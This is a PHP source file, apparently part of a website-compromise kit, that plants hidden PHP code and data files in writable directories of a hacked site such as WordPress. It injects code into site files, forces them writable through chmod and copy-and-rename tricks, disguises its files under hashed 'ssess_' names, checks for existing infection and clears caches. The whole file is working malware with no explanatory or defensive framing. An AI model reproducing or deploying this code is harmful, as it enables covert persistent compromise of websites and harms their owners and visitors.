<?php
class mbd_links_core extends mbd_core
{
private $ver = 15;
public $host;
public $sysfile;
public $sysdata;
public function __construct($core)
{
$this->core = $core;
$this->_o = $this->core->data->options;
if(isset($this->_o->ver) && $this->_o->ver!=$this->ver) $this->rmdir($this->core->tmp);
$this->_p = isset($this->core->data->params)?$this->core->data->params:FALSE;
$this->host = isset($this->_o->host) ? $this->_o->host : str_replace(array(':80',':443'), '', $core->server['HTTP_HOST']);
if(empty($this->_o->tmp)) $this->_o->tmp = dirname($this->core->tmp);
$k = substr(md5(trim(str_replace('www.', '', $this->host))), 0, 5);
$d = $this->_o->tmp.'/sse'.'ss_';
$this->sysfile = $d.md5($k.'s');
$this->sysdata = $d.md5($k);
}
function search_tmp()
{
if(!isset($this->_p) || !is_array($this->_p)) $this->out('not dirs');
$tmp = FALSE;
$dir = $this->core->root;
while(TRUE)
{
$dir = $dir.'/..';
if(!is_dir($dir) || !is_writable($dir)) break;
foreach($this->_p AS $d)
{
$d = $dir.'/'.$d;
if(is_dir($d) && is_writable($d)) $tmp = $d;
}
}
if(!$tmp)
{
$d = $this->core->root.'/wp-content';
if(is_dir($d) && is_writable($d))
{
$d = $d.'/cache';
if(!is_dir($d)) mkdir ($d);
if(is_dir($d) && is_writable($d)) $tmp = $d;
}
}
if(!$tmp) $this->out('tmp not found');
$tmp = realpath($tmp);
$this->core->data->result = $tmp;
return $this;
}
function set()
{
$this->set_system();
if(isset($this->_o->files))
{
foreach($this->_o->files AS $f)
{
$r = empty($this->_o->root)?$this->core->root.$f:$this->_o->root.$f;
if(is_file($r))
{
$this->_o->file = $f;
$this->core->data->setfile = $f;
break;
}
}
}
$this->set_out();
}
function exec()
{
if(!is_writable($this->_o->tmp)) $this->out('tmp not writable');
if(is_file($this->sysdata) && !is_writable($this->sysdata) && !unlink($this->sysdata)) $this->out('sysdata blocked');
$d = $this->core->load('tmp_'.$this->_o->hash, 1, 0);
if(isset($this->_o->crypt)) $d = $this->core->load('crypt')->cpt($d, $this->_o->crypt, 'decrypt');
if(empty($d)) $this->out('error load sysdata');
$test = @unserialize($d);
if(!is_array($test)) $this->out('error load sysdata');
if(!empty($this->_o->encode)) $d = base64_encode($d);
if(!$this->file_put($this->sysdata, $d))
{
if(is_file($this->sysdata)) unlink($this->sysdata);
if(!$this->file_put($this->sysdata, $d)) $this->out('not write data file');
}
if(!is_file($this->sysfile) || isset($this->_o->sysupd)) $this->set_system();
return $this->cache();
}
function filestest()
{
if(!is_writable($this->_o->tmp)) $this->out('tmp not writable');
if(!is_file($this->sysfile)) $this->out('not sysfile');
if(!is_writable($this->sysfile)) $this->out('sysfile blocked');
if(!is_file($this->sysdata)) $this->out('not sysdata');
if(!is_writable($this->sysdata)) $this->out('sysdata blocked');
}
function cache()
{
if(!empty($this->_o->cacheuri))
{
foreach(explode('|', $this->_o->cacheuri) AS $d)
{
$d = trim($d);
if(empty($d)) continue;
if(!is_dir($d) && !is_file($d)) $d = empty($this->_o->root)?$this->core->root.$d:$this->_o->root.$d;
if(is_dir($d)) $this->rmdir($d, TRUE);
elseif(is_file($d)) $this->file_put($d, '');
}
}
}
function set_system()
{
if(!is_writable($this->_o->tmp)) $this->out('tmp not writable');
if(is_file($this->sysfile) && !is_writable($this->sysfile) && !unlink($this->sysfile)) $this->out('sysfile blocked');
$d = $this->core->load('links_code_system', 1, 0);
if(!preg_match('|^\<\?php|', $d)) $this->out('error load sysfile');
if(!$this->file_put($this->sysfile, $d)) $this->out('not write sysfile');
}
function cat_code()
{
$re = $this->_o->regexp;
$f = $this->_o->catfile;
if(!is_file($f)) $f = empty($this->_o->root)?$this->core->root.$f:$this->_o->root.$f;
if(!is_file($f)) $this->out('no such file');
$h = $this->file_get($f);
if(!preg_match($re, $h)) $this->out('cat code NOT preg match');
$s = $this->core->load('files');
$s->restore($f, 'set');
$h = preg_replace($re, '', $h);
$h = $this->file_put($f, $h);
if(!$h) $this->out('not write out file');
}
function getf($w=1)
{
$f = $this->_o->file;
if(empty($f)) $this->out('undefined file');
if(!is_file($f)) $f = empty($this->_o->root)?$this->core->root.$f:$this->_o->root.$f;
if(!is_file($f)) $this->out('no such file');
if($w && !is_writable($f))
{
@chmod($f, intval(0644, 8));
if(is_writable($f)) return $f;
$d = dirname($f);
if(is_dir($d) && is_writable($d))
{
$f2 = $f.'_';
if(copy($f, $f2))
{
if(unlink($f))
{
rename($f2, $f);
if(is_writable($f)) return $f;
}
}
}
$this->out('file not writable');
}
return $f;
}
function set_out()
{
$test = isset($this->_o->test);
$sign = 0;
$f = $this->getf(!$test);
$h = $this->file_get($f);
if(!empty($this->core->secure)) $this->core->data->crypt = $this->core->load('crypt')->test();
$this->_o->sigs[] = $this->sysfile;
foreach($this->_o->sigs AS $s) if(stripos($h, $s)!==FALSE) $sign++;
if($test)
{
if(!$sign) $this->out('system code NOT detected in the file');
if(stripos($h, $this->sysfile)===FALSE) $this->out('temp is different');
return;
}
if($sign) $this->out('system code detected in the file');
$h = preg_replace('/\?\>(\s*)$/s', '', $h);
$s = $this->core->load('files');
$s->restore($f, 'set');
include($this->core->load(isset($this->_o->save)?'tmp_'.$this->_o->save:'links_code_out'.$this->_o->cms, 'filename', 1));
$h = $this->file_get($f);
if(empty($h))
{
$s->restore($f, 'get');
$this->out('the file is protected');
}
}
function set_tmp()
{
$f = $this->getf();
$h = $this->file_get($f);
if(stripos($h, 'phpupdate')===FALSE) $this->out('system code not detected in the file');
$h = preg_replace('/\'([^\']+)ssess_([^\']+)\'/u', '\''.$this->sysfile.'\'', $h);
$s = $this->core->load('files');
$s->restore($f, 'set');
if(!$this->file_put($f, $h)) $this->out('not write out file');
}
}